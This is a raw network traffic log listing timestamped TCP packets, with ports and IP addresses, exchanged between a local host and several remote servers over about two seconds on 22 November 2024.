Nov 22, 2024 00:11:48.240739107 CET	443	49824	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.241854906 CET	443	49824	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.241916895 CET	49824	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.244946957 CET	49824	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.245043993 CET	443	49824	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.245414972 CET	49824	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.245424032 CET	443	49824	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.274596930 CET	443	49813	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.274872065 CET	49813	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.274888039 CET	443	49813	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.275940895 CET	443	49813	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.276045084 CET	49813	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.277268887 CET	49813	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.277342081 CET	443	49813	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.277728081 CET	49813	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.277744055 CET	443	49813	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.283337116 CET	443	49817	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.287538052 CET	443	49814	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.288048029 CET	49814	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.288081884 CET	443	49814	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.289114952 CET	443	49814	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.289293051 CET	49814	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.289860964 CET	443	49823	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.295061111 CET	49814	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.295134068 CET	443	49814	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.295372009 CET	49823	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.295397043 CET	443	49823	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.295562983 CET	49814	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.295572996 CET	443	49814	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.295986891 CET	443	49818	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.296180964 CET	49818	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.296196938 CET	443	49818	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.296426058 CET	443	49823	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.296510935 CET	49823	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.296881914 CET	49823	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.296998978 CET	49823	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.297050953 CET	443	49823	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.299591064 CET	443	49818	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.299662113 CET	49818	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.299966097 CET	49818	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.300043106 CET	443	49818	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.300180912 CET	49818	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.300188065 CET	443	49818	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.331618071 CET	49817	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.331644058 CET	443	49817	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.331713915 CET	49813	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.335788012 CET	443	49803	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:48.335859060 CET	443	49803	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:48.335923910 CET	49803	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:48.336282015 CET	49803	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:48.336302996 CET	443	49803	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:48.336317062 CET	49803	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:48.336323023 CET	443	49803	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:48.339930058 CET	49846	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:48.339966059 CET	443	49846	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:48.340202093 CET	49846	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:48.346263885 CET	49846	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:48.346280098 CET	443	49846	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:48.362891912 CET	49824	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.362909079 CET	49823	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.362910032 CET	49814	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.362924099 CET	443	49823	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.362962008 CET	49818	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.470870972 CET	49823	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.513861895 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:48.520975113 CET	49817	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.634937048 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:48.668745041 CET	443	49817	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.668818951 CET	443	49817	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.668915033 CET	49817	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.669186115 CET	49817	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.669204950 CET	443	49817	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.679898977 CET	443	49824	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.679963112 CET	443	49824	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.680162907 CET	49824	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.680691004 CET	49824	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.680706024 CET	443	49824	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.707890034 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:48.708561897 CET	49812	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:48.708611012 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:48.709208012 CET	49812	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:48.709222078 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:48.716842890 CET	443	49813	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.716914892 CET	443	49813	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.717128992 CET	49813	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.717153072 CET	49813	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.717164040 CET	443	49813	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.723546982 CET	443	49814	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.723613024 CET	443	49814	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.723754883 CET	49814	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.723803997 CET	49814	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:48.723819971 CET	443	49814	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:48.731412888 CET	443	49823	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.731482983 CET	443	49823	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.731601954 CET	49823	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.731650114 CET	49823	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.731663942 CET	443	49823	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.736696959 CET	443	49818	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.736844063 CET	443	49818	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.736902952 CET	49818	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.736974001 CET	49818	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:48.736984015 CET	443	49818	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:48.867331028 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:48.867799044 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:48.867839098 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:48.868283033 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:48.868288040 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:48.907671928 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:48.908284903 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:48.908293962 CET	49825	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:48.908318996 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:48.908683062 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:48.908693075 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:48.908740044 CET	49825	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:48.908746958 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:48.909214020 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:48.909231901 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:48.909329891 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:48.909337044 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:48.909521103 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:48.910218954 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:48.911400080 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:48.911488056 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:48.911595106 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:48.911602974 CET	443	49816	142.250.181.65	192.168.2.5
Nov 22, 2024 00:11:48.966248035 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:48.966291904 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:48.966304064 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:48.966336966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:48.966383934 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:48.966392040 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:48.966406107 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:48.966422081 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:48.966424942 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:48.966456890 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:48.966463089 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:48.968346119 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:48.974905968 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:48.975038052 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:48.975054979 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:48.975081921 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:48.983438015 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:48.983500004 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:48.983520985 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:48.983592987 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.021938086 CET	49816	443	192.168.2.5	142.250.181.65
Nov 22, 2024 00:11:49.144236088 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.144304037 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.144512892 CET	49812	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.144582987 CET	49812	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.144582987 CET	49812	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.144623041 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.144648075 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.147427082 CET	49847	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.147465944 CET	443	49847	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.147604942 CET	49847	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.147800922 CET	49847	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.147813082 CET	443	49847	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.167316914 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.167382956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.167382956 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.167649984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.171113968 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.171165943 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.172609091 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.172660112 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.172730923 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.172785997 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.180303097 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.180356026 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.180396080 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.180505037 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.186511993 CET	443	49827	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:49.186595917 CET	49827	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:49.187973022 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.188049078 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.188075066 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.188261986 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.195728064 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.195811987 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.195859909 CET	49827	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:49.195879936 CET	443	49827	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:49.195894957 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.196194887 CET	443	49827	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:49.196582079 CET	49827	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:49.196635008 CET	49827	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:49.196685076 CET	443	49827	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:49.198966980 CET	443	49828	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:49.199316978 CET	49828	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:49.199342966 CET	443	49828	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:49.199938059 CET	49828	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:49.199944019 CET	443	49828	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:49.200000048 CET	49828	443	192.168.2.5	40.126.53.18
Nov 22, 2024 00:11:49.200010061 CET	443	49828	40.126.53.18	192.168.2.5
Nov 22, 2024 00:11:49.203404903 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.203459024 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.203500986 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.203649998 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.211137056 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.211189032 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.211195946 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.211262941 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.218832970 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.218885899 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.218924046 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.218977928 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.226728916 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.226778030 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.226802111 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.226845026 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.234251976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.234311104 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.234350920 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.234402895 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.241981030 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.242011070 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.242096901 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.287735939 CET	49848	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.287772894 CET	443	49848	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.287837029 CET	49848	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.288089037 CET	49849	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.288117886 CET	443	49849	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.288168907 CET	49848	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.288183928 CET	443	49848	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.288228989 CET	49849	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.288779020 CET	49849	443	192.168.2.5	162.159.61.3
Nov 22, 2024 00:11:49.288794041 CET	443	49849	162.159.61.3	192.168.2.5
Nov 22, 2024 00:11:49.295124054 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.295192957 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.295277119 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.295418978 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.295419931 CET	49826	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.295433998 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.295443058 CET	443	49826	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.298232079 CET	49850	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.298260927 CET	443	49850	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.298379898 CET	49850	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.298500061 CET	49850	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.298511982 CET	443	49850	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.360555887 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.360625029 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.360794067 CET	49825	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.360821009 CET	49825	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.360838890 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.360848904 CET	49825	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.360853910 CET	443	49825	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.363523006 CET	49851	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.363543987 CET	443	49851	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.363672018 CET	49851	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.363806963 CET	49851	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.363820076 CET	443	49851	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.368459940 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.368530989 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.368555069 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.368601084 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.370140076 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.370204926 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.370256901 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.370332003 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.375926018 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.375956059 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.376009941 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.376023054 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.381681919 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.381742954 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.381786108 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.381963968 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.387548923 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.387568951 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.387629032 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.393238068 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.393302917 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.393333912 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.393381119 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.399009943 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.399060965 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.399099112 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.399157047 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.404753923 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.404812098 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.404824018 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.404863119 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.410531044 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.410587072 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.410639048 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.410687923 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.416297913 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.416426897 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.416491985 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.418622017 CET	49852	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:49.418634892 CET	443	49852	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:49.418751001 CET	49852	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:49.418960094 CET	49853	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:49.418987989 CET	443	49853	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:49.419148922 CET	49853	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:49.419208050 CET	49852	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:49.419223070 CET	443	49852	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:49.419275045 CET	49853	443	192.168.2.5	172.64.41.3
Nov 22, 2024 00:11:49.419286966 CET	443	49853	172.64.41.3	192.168.2.5
Nov 22, 2024 00:11:49.422065020 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.422118902 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.422158957 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.422214985 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.427820921 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.427871943 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.427922964 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.427972078 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.433610916 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.433681011 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.433696032 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.433738947 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.439361095 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.439435959 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.439471960 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.439637899 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.445175886 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.445236921 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.445307970 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.445360899 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.450968027 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.451019049 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.451036930 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.451081991 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.456691027 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.456747055 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.456789017 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.456841946 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.462461948 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.462523937 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.462549925 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.462589979 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.468223095 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.468281984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.468328953 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:49.468410969 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:49.469135046 CET	443	49830	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.469592094 CET	49830	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.469610929 CET	443	49830	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:49.470046997 CET	49830	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:49.470052004 CET	443	49830	13.107.246.63	192.168.2.5
